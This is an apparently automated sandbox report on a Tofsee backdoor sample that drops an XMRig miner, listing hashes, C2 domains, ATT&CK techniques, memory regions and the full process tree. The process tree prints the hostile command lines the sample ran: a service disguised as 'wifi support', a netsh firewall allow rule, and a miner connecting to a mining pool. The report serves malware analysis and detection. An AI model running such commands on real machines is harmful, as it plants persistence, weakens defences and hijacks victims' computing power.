Analysis

  • max time kernel
    150s
  • max time network
    153s
  • platform
    windows10_x64
  • resource
    win10-20220414-en
  • submitted
    12-06-2022 15:27

General

  • Target

    05cd22b18226bdd09ce808d7502ae4882b4f714852930e10c2eb717f0e8a1129.exe

  • Size

    218KB

  • MD5

    8d9800dc5faf8610ce328bccb4fffc38

  • SHA1

    f22bc01b7f6b4798fcce2465ddf502f28820cdc6

  • SHA256

    05cd22b18226bdd09ce808d7502ae4882b4f714852930e10c2eb717f0e8a1129

  • SHA512

    1206705fce4f116afa888a7ac62b188a810df3314f0989c8bc2412ddade3856ebf9a3a76c3d0464611aaf041e606df95c6e00bac998af6f6a2031e98f4e9e912

Malware Config

Extracted

Family

tofsee

C2

svartalfheim.top

jotunheim.name

Signatures

  • Tofsee

    Backdoor/botnet which carries out malicious activities based on commands from a C2 server.

  • Windows security bypass 2 TTPs 1 IoCs
  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • XMRig Miner Payload 1 IoCs
  • Creates new service(s) 1 TTPs
  • Executes dropped EXE 1 IoCs
  • Modifies Windows Firewall 1 TTPs 1 IoCs
  • Sets service image path in registry 2 TTPs 1 IoCs
  • Deletes itself 1 IoCs
  • Drops file in System32 directory 2 IoCs
  • Suspicious use of SetThreadContext 2 IoCs
  • Launches sc.exe 3 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Modifies data under HKEY_USERS 7 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 28 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\05cd22b18226bdd09ce808d7502ae4882b4f714852930e10c2eb717f0e8a1129.exe
    "C:\Users\Admin\AppData\Local\Temp\05cd22b18226bdd09ce808d7502ae4882b4f714852930e10c2eb717f0e8a1129.exe"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:1792
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /C mkdir C:\Windows\SysWOW64\ovnvdpui\
      2⤵
        PID:3592
      • C:\Windows\SysWOW64\cmd.exe
        "C:\Windows\System32\cmd.exe" /C move /Y "C:\Users\Admin\AppData\Local\Temp\gwhlxflu.exe" C:\Windows\SysWOW64\ovnvdpui\
        2⤵
          PID:2072
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" create ovnvdpui binPath= "C:\Windows\SysWOW64\ovnvdpui\gwhlxflu.exe /d\"C:\Users\Admin\AppData\Local\Temp\05cd22b18226bdd09ce808d7502ae4882b4f714852930e10c2eb717f0e8a1129.exe\"" type= own start= auto DisplayName= "wifi support"
          2⤵
          • Launches sc.exe
          PID:4344
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" description ovnvdpui "wifi internet conection"
          2⤵
          • Launches sc.exe
          PID:4568
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" start ovnvdpui
          2⤵
          • Launches sc.exe
          PID:4668
        • C:\Windows\SysWOW64\netsh.exe
          "C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="C:\Windows\SysWOW64\svchost.exe" enable=yes>nul
          2⤵
          • Modifies Windows Firewall
          PID:1496
      • C:\Windows\SysWOW64\ovnvdpui\gwhlxflu.exe
        C:\Windows\SysWOW64\ovnvdpui\gwhlxflu.exe /d"C:\Users\Admin\AppData\Local\Temp\05cd22b18226bdd09ce808d7502ae4882b4f714852930e10c2eb717f0e8a1129.exe"
        1⤵
        • Executes dropped EXE
        • Suspicious use of SetThreadContext
        • Suspicious use of WriteProcessMemory
        PID:4360
        • C:\Windows\SysWOW64\svchost.exe
          svchost.exe
          2⤵
          • Windows security bypass
          • Sets service image path in registry
          • Deletes itself
          • Drops file in System32 directory
          • Suspicious use of SetThreadContext
          • Modifies data under HKEY_USERS
          • Suspicious use of WriteProcessMemory
          PID:5056
          • C:\Windows\SysWOW64\svchost.exe
            svchost.exe -o fastpool.xyz:10060 -u 9mLwUkiK8Yp89zQQYodWKN29jVVVz1cWDFZctWxge16Zi3TpHnSBnnVcCDhSRXdesnMBdVjtDwh1N71KD9z37EzgKSM1tmS.60000 -p x -k -a cn/half
            3⤵
            • Suspicious use of AdjustPrivilegeToken
            PID:2512

      Network

      MITRE ATT&CK Matrix ATT&CK v6

      Persistence

      New Service

      1
      T1050

      Modify Existing Service

      1
      T1031

      Registry Run Keys / Startup Folder

      1
      T1060

      Privilege Escalation

      New Service

      1
      T1050

      Defense Evasion

      Disabling Security Tools

      1
      T1089

      Modify Registry

      2
      T1112

      Discovery

      System Information Discovery

      1
      T1082

      Replay Monitor

      Loading Replay Monitor...

      Downloads

      • C:\Users\Admin\AppData\Local\Temp\gwhlxflu.exe
        Filesize

        12.5MB

        MD5

        556c370772fab6be8525b620499bfca0

        SHA1

        90fb0843033adb5cfbb1db2378b8b1a108037db3

        SHA256

        16dd7784e7143fbc1a7b147982b6b9f33cd407e40356804043d0cdebb6cedd1a

        SHA512

        0f9f1c350d1688040b0b48d91929a179e0218b25d211cfdd0769084fb6fc940df4312452a714b9c576f28d2460269c2fca4b2c428d7b420608744efe66cced05

      • C:\Windows\SysWOW64\ovnvdpui\gwhlxflu.exe
        Filesize

        12.5MB

        MD5

        556c370772fab6be8525b620499bfca0

        SHA1

        90fb0843033adb5cfbb1db2378b8b1a108037db3

        SHA256

        16dd7784e7143fbc1a7b147982b6b9f33cd407e40356804043d0cdebb6cedd1a

        SHA512

        0f9f1c350d1688040b0b48d91929a179e0218b25d211cfdd0769084fb6fc940df4312452a714b9c576f28d2460269c2fca4b2c428d7b420608744efe66cced05

      • memory/1496-211-0x0000000000000000-mapping.dmp
      • memory/1792-155-0x0000000000400000-0x0000000000652000-memory.dmp
        Filesize

        2.3MB

      • memory/1792-156-0x0000000076F70000-0x00000000770FE000-memory.dmp
        Filesize

        1.6MB

      • memory/1792-119-0x0000000076F70000-0x00000000770FE000-memory.dmp
        Filesize

        1.6MB

      • memory/1792-120-0x0000000076F70000-0x00000000770FE000-memory.dmp
        Filesize

        1.6MB

      • memory/1792-121-0x0000000076F70000-0x00000000770FE000-memory.dmp
        Filesize

        1.6MB

      • memory/1792-122-0x0000000076F70000-0x00000000770FE000-memory.dmp
        Filesize

        1.6MB

      • memory/1792-123-0x0000000076F70000-0x00000000770FE000-memory.dmp
        Filesize

        1.6MB

      • memory/1792-125-0x0000000076F70000-0x00000000770FE000-memory.dmp
        Filesize

        1.6MB

      • memory/1792-124-0x0000000076F70000-0x00000000770FE000-memory.dmp
        Filesize

        1.6MB

      • memory/1792-126-0x0000000076F70000-0x00000000770FE000-memory.dmp
        Filesize

        1.6MB

      • memory/1792-127-0x0000000076F70000-0x00000000770FE000-memory.dmp
        Filesize

        1.6MB

      • memory/1792-128-0x0000000076F70000-0x00000000770FE000-memory.dmp
        Filesize

        1.6MB

      • memory/1792-129-0x0000000076F70000-0x00000000770FE000-memory.dmp
        Filesize

        1.6MB

      • memory/1792-130-0x0000000076F70000-0x00000000770FE000-memory.dmp
        Filesize

        1.6MB

      • memory/1792-131-0x0000000076F70000-0x00000000770FE000-memory.dmp
        Filesize

        1.6MB

      • memory/1792-132-0x0000000076F70000-0x00000000770FE000-memory.dmp
        Filesize

        1.6MB

      • memory/1792-133-0x0000000076F70000-0x00000000770FE000-memory.dmp
        Filesize

        1.6MB

      • memory/1792-134-0x0000000076F70000-0x00000000770FE000-memory.dmp
        Filesize

        1.6MB

      • memory/1792-135-0x0000000076F70000-0x00000000770FE000-memory.dmp
        Filesize

        1.6MB

      • memory/1792-136-0x0000000076F70000-0x00000000770FE000-memory.dmp
        Filesize

        1.6MB

      • memory/1792-137-0x0000000076F70000-0x00000000770FE000-memory.dmp
        Filesize

        1.6MB

      • memory/1792-139-0x0000000076F70000-0x00000000770FE000-memory.dmp
        Filesize

        1.6MB

      • memory/1792-140-0x0000000000710000-0x000000000085A000-memory.dmp
        Filesize

        1.3MB

      • memory/1792-141-0x0000000000710000-0x00000000007BE000-memory.dmp
        Filesize

        696KB

      • memory/1792-142-0x0000000076F70000-0x00000000770FE000-memory.dmp
        Filesize

        1.6MB

      • memory/1792-143-0x0000000076F70000-0x00000000770FE000-memory.dmp
        Filesize

        1.6MB

      • memory/1792-144-0x0000000076F70000-0x00000000770FE000-memory.dmp
        Filesize

        1.6MB

      • memory/1792-145-0x0000000076F70000-0x00000000770FE000-memory.dmp
        Filesize

        1.6MB

      • memory/1792-146-0x0000000076F70000-0x00000000770FE000-memory.dmp
        Filesize

        1.6MB

      • memory/1792-147-0x0000000076F70000-0x00000000770FE000-memory.dmp
        Filesize

        1.6MB

      • memory/1792-148-0x0000000076F70000-0x00000000770FE000-memory.dmp
        Filesize

        1.6MB

      • memory/1792-149-0x0000000076F70000-0x00000000770FE000-memory.dmp
        Filesize

        1.6MB

      • memory/1792-150-0x0000000076F70000-0x00000000770FE000-memory.dmp
        Filesize

        1.6MB

      • memory/1792-151-0x0000000076F70000-0x00000000770FE000-memory.dmp
        Filesize

        1.6MB

      • memory/1792-152-0x0000000076F70000-0x00000000770FE000-memory.dmp
        Filesize

        1.6MB

      • memory/1792-153-0x0000000076F70000-0x00000000770FE000-memory.dmp
        Filesize

        1.6MB

      • memory/1792-154-0x0000000076F70000-0x00000000770FE000-memory.dmp
        Filesize

        1.6MB

      • memory/1792-114-0x0000000076F70000-0x00000000770FE000-memory.dmp
        Filesize

        1.6MB

      • memory/1792-162-0x0000000076F70000-0x00000000770FE000-memory.dmp
        Filesize

        1.6MB

      • memory/1792-115-0x0000000076F70000-0x00000000770FE000-memory.dmp
        Filesize

        1.6MB

      • memory/1792-118-0x0000000076F70000-0x00000000770FE000-memory.dmp
        Filesize

        1.6MB

      • memory/1792-159-0x0000000076F70000-0x00000000770FE000-memory.dmp
        Filesize

        1.6MB

      • memory/1792-160-0x0000000076F70000-0x00000000770FE000-memory.dmp
        Filesize

        1.6MB

      • memory/1792-161-0x0000000076F70000-0x00000000770FE000-memory.dmp
        Filesize

        1.6MB

      • memory/1792-158-0x0000000076F70000-0x00000000770FE000-memory.dmp
        Filesize

        1.6MB

      • memory/1792-163-0x0000000076F70000-0x00000000770FE000-memory.dmp
        Filesize

        1.6MB

      • memory/1792-164-0x0000000076F70000-0x00000000770FE000-memory.dmp
        Filesize

        1.6MB

      • memory/1792-165-0x0000000076F70000-0x00000000770FE000-memory.dmp
        Filesize

        1.6MB

      • memory/1792-215-0x0000000000400000-0x0000000000652000-memory.dmp
        Filesize

        2.3MB

      • memory/1792-116-0x0000000076F70000-0x00000000770FE000-memory.dmp
        Filesize

        1.6MB

      • memory/1792-157-0x0000000076F70000-0x00000000770FE000-memory.dmp
        Filesize

        1.6MB

      • memory/1792-117-0x0000000076F70000-0x00000000770FE000-memory.dmp
        Filesize

        1.6MB

      • memory/2072-173-0x0000000076F70000-0x00000000770FE000-memory.dmp
        Filesize

        1.6MB

      • memory/2072-177-0x0000000076F70000-0x00000000770FE000-memory.dmp
        Filesize

        1.6MB

      • memory/2072-172-0x0000000076F70000-0x00000000770FE000-memory.dmp
        Filesize

        1.6MB

      • memory/2072-171-0x0000000000000000-mapping.dmp
      • memory/2072-174-0x0000000076F70000-0x00000000770FE000-memory.dmp
        Filesize

        1.6MB

      • memory/2072-176-0x0000000076F70000-0x00000000770FE000-memory.dmp
        Filesize

        1.6MB

      • memory/2512-515-0x0000000002D8259C-mapping.dmp
      • memory/3592-166-0x0000000000000000-mapping.dmp
      • memory/3592-170-0x0000000076F70000-0x00000000770FE000-memory.dmp
        Filesize

        1.6MB

      • memory/3592-175-0x0000000076F70000-0x00000000770FE000-memory.dmp
        Filesize

        1.6MB

      • memory/3592-169-0x0000000076F70000-0x00000000770FE000-memory.dmp
        Filesize

        1.6MB

      • memory/3592-167-0x0000000076F70000-0x00000000770FE000-memory.dmp
        Filesize

        1.6MB

      • memory/3592-168-0x0000000076F70000-0x00000000770FE000-memory.dmp
        Filesize

        1.6MB

      • memory/4344-180-0x0000000076F70000-0x00000000770FE000-memory.dmp
        Filesize

        1.6MB

      • memory/4344-182-0x0000000076F70000-0x00000000770FE000-memory.dmp
        Filesize

        1.6MB

      • memory/4344-181-0x0000000076F70000-0x00000000770FE000-memory.dmp
        Filesize

        1.6MB

      • memory/4344-179-0x0000000000000000-mapping.dmp
      • memory/4344-183-0x0000000076F70000-0x00000000770FE000-memory.dmp
        Filesize

        1.6MB

      • memory/4360-332-0x0000000000400000-0x0000000000652000-memory.dmp
        Filesize

        2.3MB

      • memory/4360-327-0x0000000000896000-0x00000000008A3000-memory.dmp
        Filesize

        52KB

      • memory/4360-329-0x0000000000EF0000-0x0000000000F03000-memory.dmp
        Filesize

        76KB

      • memory/4568-186-0x0000000076F70000-0x00000000770FE000-memory.dmp
        Filesize

        1.6MB

      • memory/4568-184-0x0000000000000000-mapping.dmp
      • memory/4568-185-0x0000000076F70000-0x00000000770FE000-memory.dmp
        Filesize

        1.6MB

      • memory/4668-190-0x0000000000000000-mapping.dmp
      • memory/5056-326-0x0000000002DC9A6B-mapping.dmp
      • memory/5056-385-0x0000000002DC0000-0x0000000002DD5000-memory.dmp
        Filesize

        84KB

      • memory/5056-483-0x0000000002DC0000-0x0000000002DD5000-memory.dmp
        Filesize

        84KB